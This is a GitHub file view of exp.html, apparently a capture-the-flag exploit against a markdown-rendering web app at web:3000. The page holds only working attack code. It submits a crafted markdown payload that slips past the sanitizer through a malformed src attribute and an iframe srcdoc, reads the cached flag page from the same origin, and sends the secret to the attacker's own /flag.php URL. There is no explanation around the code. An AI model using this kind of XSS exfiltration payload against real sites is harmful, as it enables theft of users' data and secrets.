-
Notifications
You must be signed in to change notification settings - Fork 10
/
Copy pathexp.html
22 lines (21 loc) · 792 Bytes
/
exp.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<form id="f" method="post" target="_blank"></form>
<script>
const w = open('http://web:3000/print?flag')
setTimeout(() => {
w.close()
const flagresp = new URL(location)
flagresp.pathname = '/flag.php'
flagresp.search = ''
flagresp.hash = ''
f.action =
'http://web:3000/?markdown=' +
encodeURIComponent(`<div>
<div src="data2:<script><iframe useless='">' srcdoc='<script <a href="data2:<link>"></a>>";fetch(\`/print?flag\`,{cache:\`only-if-cached\`,mode:\`same-origin\`}).then(r=>r.text()).then(t=>location.assign(\`${flagresp}?flag=\`+t.split(\`<strong>\`)[1].split(\`</strong>\`)[0]));</script>'</div>
</div>`)
f.submit()
setTimeout(() => {
location = 'http://web:3000/print'
}, 1000)
}, 1000)
</script>
<img src="https://httpbingo.org/delay/10" />